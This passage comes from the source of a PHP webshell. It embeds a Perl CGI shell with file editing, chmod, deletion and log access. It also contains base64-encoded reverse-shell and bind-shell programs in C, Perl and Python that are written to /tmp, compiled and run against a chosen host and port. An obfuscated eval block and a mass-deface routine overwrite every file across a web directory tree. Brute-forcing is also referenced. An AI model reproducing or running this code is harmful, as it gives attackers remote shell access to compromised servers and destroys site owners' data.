id='File_\$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\n\t\t\t\$result .= \"<td>DIR</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\tforeach my \$f (@fname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$file=\$f;\n\t\t\t\$f = \$path.\$f;\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Verdana;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\t\$result .= \"</table></div>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Try to View List User\n#------------------------------------------------------------------------------\nsub ViewDomainUser\n{\n\topen (domains, '/etc/named.conf') or \$err=1;\n\tmy @cnzs = <domains>;\n\tclose d0mains;\n\tmy \$style=\"line\";\n\tmy \$result=\"<h5><font style='font: 15pt Verdana;color: #ffffff;'>Hoang Sa - Truong Sa</font></h5>\";\n\tif (\$err)\n\t{\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\n\t\treturn \$result;\n\t}else\n\t{\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\n\t}\n\tforeach my \$one (@cnzs)\n\t{\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\n\t\t{\t\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\n\t\t}\n\t}\n\t\$result .= '</table>';\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# View Log\n#------------------------------------------------------------------------------\nsub ViewLog\n{\n\tif(\$WinNT)\n\t{\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #ffffff;'>Don't run on Windows</font></h2>\";\n\t}\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\n\tmy @pathlog=(\n\t\t\t\t'/usr/local/apache/logs/error_log',\n\t\t\t\t'/var/log/httpd/error_log',\n\t\t\t\t'/usr/local/apache/logs/access_log'\n\t\t\t\t);\n\tmy \$i=0;\n\tmy \$perms;\n\tmy \$sl;\n\tforeach my \$log (@pathlog)\n\t{\n\t\tif(-w \$log)\n\t\t{\n\t\t\t\$perms=\"OK\";\n\t\t}else\n\t\t{\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\n\t\t\tif(&trim(\$ls) eq \"\")\n\t\t\t{\n\t\t\t\tif(-r \$ls)\n\t\t\t\t{\n\t\t\t\t\t\$perms=\"OK\";\n\t\t\t\t\t\$log=\"error_log_\".\$i;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\n\t\t\t}\n\t\t}\n\t\t\$result .=<<END;\n\t\t<tr>\n\n\t\t\t<form action=\"\" method=\"post\">\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\n\t\t\t</form>\n\t\t\t<td>\$perms</td>\n\n\t\t</tr>\nEND\n\t\t\$i++;\n\t}\n\t\$result .=\"</table>\";\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = &trim(\$in{'d'});\n# mac dinh xuat thong tin neu ko co lenh nao!\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\n{\n\t&PerformLogin;\n}elsif(\$Action eq \"gui\") # GUI directory\n{\n\t&PrintPageHeader;\n\tif(!\$WinNT)\n\t{\n\t\t\$chmod=int(\$in{'chmod'});\n\t\tif(!(\$chmod eq 0))\n\t\t{\n\t\t\t\$chmod=int(\$in{'chmod'});\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\n\t\t\tif(&trim(\$result) eq \"\")\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\n\t\t}\n\t}\n\t\$rename=\$in{'rename'};\n\tif(!\$rename eq \"\")\n\t{\n\t\tif(rename(\$TransferFile,\$rename))\n\t\t{\n\t\t\tprint \"<run> Done! </run><br>\";\n\t\t}else\n\t\t{\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t}\n\t}\n\t\$remove=\$in{'remove'};\n\tif(\$remove ne \"\")\n\t{\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\n\t\tif(-d \$rm)\n\t\t{\n\t\t\t&RmDir(\$rm);\n\t\t}else\n\t\t{\n\t\t\tif(unlink(\$rm))\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\tprint &ListDir;\n\n}\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\n{\n\t&PrintPageHeader(\"c\");\n\tprint &ExecuteCommand;\n}\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\n{\n\t&PrintPageHeader;\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\n\t{\n\t\tprint \"<run> Done! </run><br>\";\n\t}else\n\t{\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t}\n\tprint &ListDir;\n}\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\n{\n\t&PrintPageHeader;\n\n\tprint &UploadFile;\n}\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\n{\n\t&PrintPageHeader(\"clientport\");\n\tprint &BackBind;\n}\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\n{\n\t&PrintPageHeader;\n\tprint &BruteForcer;\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\n{\n\tprint &DownloadFile;\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\n{\n\t&PrintPageHeader;\n\tprint &ViewLog;\n\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\n{\n\t&PrintPageHeader;\n\tprint &ViewDomainUser;\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\n{\n\t&PerformLogout;\n}\n&PrintPageFooter;");
            fwrite($htcgi, $isi_htcgi);
            chmod($file_cgi, 0755);
            chmod($memeg, 0755);
            echo "<br><center>Done ... <a href='priv_cgi/cgi.priv' target='_blank'>Click Here</a></div>";
            hardFooter();
        }
        // Mass Deface Section Start
        function actionSql()
        {
            hardHeader();
            echo "<center><h1>Mass Tools</h1><div class=content><br>";
            echo "<br><center> <iframe src='?mas' width='800' height='450'></iframe></a></div>";
            hardFooter();
        }
        // Mass Deface Section END
        // Back COnnect SEction
        function actionNetwork()
        {
            hardHeader();
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
            $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
            $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
            $pyy = "IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";
            $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
            echo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpp'>Perl</option><option value='bpc'>C</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='21'> Using: <label><select name='using'><option value='bcpy'>Python</option><option value='bcp'>Perl</option><option value='bcc'>C</option></select></label> <input type=submit value='submit'><br><br><br>\r\n\t</form><br>";
            if (isset($_POST['p1'])) {
                function cf($f, $t)
                {
                    $w = @fopen($f, "w") or @function_exists('file_put_contents');
                    if ($w) {
                        @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                        @fclose($w);
                    }
                }
                if ($_POST['p1'] == 'bpc') {
                    cf("/tmp/bp.c", $bind_port_c);
                    $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                    @unlink("/tmp/bp.c");
                    $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
                }
                if ($_POST['p1'] == 'bpp') {
                    cf("/tmp/bp.pl", $bind_port_p);
                    $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcc') {
                    cf("/tmp/bc.c", $back_connect_c);
                    $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                    @unlink("/tmp/bc.c");
                    $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
                }
                if ($_POST['p1'] == 'bcp') {
                    cf("/tmp/bc.pl", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcpy') {
                    cf("/tmp/bc.py", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.py " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.py") . "</pre>";
                }
            }
            echo "</div>";
            hardFooter();
        }
        // Back Connect Section END
        function actionMassuser()
        {
            hardHeader();
            echo "<center><h1>Wordpress Mass Title Changer</h1><div class=content><br>";
            echo "<br><center> <iframe src='?title' width='800' height='400'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        if (isset($_REQUEST['mas'])) {
            $hex = "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";
            eval /* PHPDeobfuscator eval output */ {
                @ini_set('error_log', NULL);
                @ini_set('log_errors', 0);
                @ini_set('max_execution_time', 0);
                @ini_set('output_buffering', 0);
                @ini_set('display_errors', 0);
                echo "<center><form action=\"\" method=\"post\"> ";
                function edit_file($file, $index)
                {
                    if (is_writable($file)) {
                        clear_fill($file, $index);
                        echo "<Span style='color:green;'><strong> [+] Done 100% Successfull </strong></span><br></center>";
                    } else {
                        echo "<Span style='color:red;'><strong> [-] Failed :( </strong></span><br></center>";
                    }
                }
                function hapus_Massal($dir, $namafile)
                {
                    if (is_writable($dir)) {
                        $dira = scandir($dir);
                        foreach ($dira as $dirb) {
                            $dirc = "{$dir}/{$dirb}";
                            $lokasi = $dirc . '/' . $namafile;
                            if ($dirb === '.') {
                                if (file_exists("{$dir}/{$namafile}")) {
                                    unlink("{$dir}/{$namafile}");
                                }
                            } elseif ($dirb === '..') {
                                if (file_exists("" . dirname($dir) . "/{$namafile}")) {
                                    unlink("" . dirname($dir) . "/{$namafile}");
                                }
                            } else {
                                if (is_dir($dirc)) {
                                    if (is_writable($dirc)) {
                                        if (file_exists($lokasi)) {
                                            echo "[<font color=blue>DELETED</font>] {$lokasi}<br>";
                                            unlink($lokasi);
                                            $idx = hapus_Massal($dirc, $namafile);
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                function clear_fill($file, $index)
                {
                    if (file_exists($file)) {
                        $handle = fopen($file, 'w');
                        fwrite($handle, '');
                        fwrite($handle, $index);
                        fclose($handle);
                    }
                }
                function gass()
                {
                    global $dirr, $index;
                    chdir($dirr);
                    $me = "wp-mail.php.abf0f1d1ad0bd1b60005ba60122f5583.bin";
                    $files = scandir($dirr);
                    $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");
                    sort($files);
                    $n = 0;
                    foreach ($files as $file) {
                        if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
                            echo "<center><Span style='color: #8A8A8A;'><strong>{$dirr}/</span>{$file}</strong> ====> ";
                            edit_file($file, $index);
                            flush();
                            $n += 1;
                        }
                    }
                    echo "<br>";
                    echo "<center><br><h3>{$n} Files Defaced </h3></center><br> ";
                }
                function ListFiles($dirrall)
                {
                    if ($dh = opendir($dirrall)) {
                        $files = array();
                        $inner_files = array();
                        $me = "wp-mail.php.abf0f1d1ad0bd1b60005ba60122f5583.bin";
                        $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");
                        while ($file = readdir($dh)) {
                            if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
                                if (is_dir($dirrall . "/" . $file)) {
                                    $inner_files = ListFiles($dirrall . "/" . $file);
                                    if (is_array($inner_files)) {
                                        $files = array_merge($files, $inner_files);
                                    }
                                } else {
                                    array_push($files, $dirrall . "/" . $file);
                                }
                            }
                        }
                        closedir($dh);
                        return $files;
                    }
                }
                function gass_all()
                {
                    global $index;
                    $dirrall = $_POST['d_dir'];
                    foreach (ListFiles($dirrall) as $key => $file) {
                        $file = str_replace('//', "/", $file);
                        echo "<center><strong>{$file}</strong> ===>";
                        edit_file($file, $index);
                        flush();
                    }
                    $key += 1;
                    echo "<center><br><h3>{$key} Files Defaced </h3></center><br>";
                }
                function sabun_Massal($dir, $namafile, $isi_script)
                {
                    if (is_writable($dir)) {
                        $dira = scandir($dir);
                        foreach ($dira as $dirb) {
